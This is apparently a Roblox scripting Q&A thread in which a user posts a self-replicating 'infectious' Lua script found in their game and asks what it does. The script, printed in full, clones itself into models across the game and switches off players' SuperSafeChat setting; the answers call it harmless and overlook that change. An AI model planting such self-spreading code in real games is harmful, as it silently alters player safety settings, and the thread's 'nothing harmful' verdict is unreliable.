Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

What does this infectious script I found do?

Asked by 3 years ago
Edited 3 years ago

I found this infectious script. I managed to catch it before it did any harm (I think) but I read through it and don't understand some of the things that it does. Help?

if (script.Parent == workspace) then
function checkForAndSwitch(player)

    if (player.SuperSafeChat == true) then

        player.SuperSafeChat = false;

        wait(5);

        local m = Instance.new("Message");

        m.Text = "Press the / key to start typing.";

        m.Parent = player;

        wait(5);

        m.Text = "Then press Enter to send your message.";

        wait(5);

        m:Remove();

        m = nil;

    end

    player = nil;

    collectgarbage("collect");

end

function onChildAddedToPlayers(obj)

    if (obj.className == "Player") then

        checkForAndSwitch(obj);

        local m = Instance.new("Message");

        m.Text = "welcome me place!!!";

        m.Parent = obj;

        wait(5);

        m:Remove();

        m = nil;

    end

    obj = nil;

    collectgarbage("collect");

end

function onChildAddedToWorkspace(obj)

    if (obj.className == "Model") then

        if (game.Players:playerFromCharacter(obj) \~= nil) then
checkForAndSwitch(game.Players:playerFromCharacter(obj));
        end

    end

    obj = nil;

    collectgarbage("collect");

end

function findLowestLevel(obj)

    local c = obj:GetChildren();

    local lowestLevel = true;

    for i, v in pairs(c) do

        if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
lowestLevel = false;
wait();
findLowestLevel(v);
        end

    end

    if (obj \~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then

        if (obj \~= game.Lighting and obj \~= game.StarterPack) then
local s = script:Clone();
s.Parent = obj;
        end

    end

end

findLowestLevel(game);

game.Players.ChildAdded:connect(onChildAddedToPlayers);

game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
local findScript = workspace:FindFirstChild(script.Name);

if (findScript == nil) then

    local s = script:Clone();

    s.Parent = workspace;

end
end
--[[function findAllCopies(obj)
local c = obj:GetChildren();

for i, v in pairs(c) do

    if (v.Name == script.Name and v.className == "Script" and v \~= script) then

        v.Parent = nil;

    elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then

        findAllCopies(v);

    end

end
end
findAllCopies(game);
script.Parent = nil;]]

0
it doesn't seem like it does much jorcorrs 76 — 3y
0
nothing. collectgarbage doesn't do anytihng lulw Fifkee 2017 — 3y

1 answer

Log in to vote
0
Answered by 3 years ago

All this does is when someone joins your game it will create a message. Nothing harmful at all, lol :P

0
Thx for the help. It had reproduced and was in every model in my game. When I reverted to a past save, I found the parent script. Out of curiosity, what would the message have been? ImAwesome444445 13 — 3y
0
Press the / key to start typing. Then press Enter to send your message. welcome me place!!! BongoCatJoosan 77 — 3y
0
it would wait 5 second before saying each line BongoCatJoosan 77 — 3y
Ad

Answer this question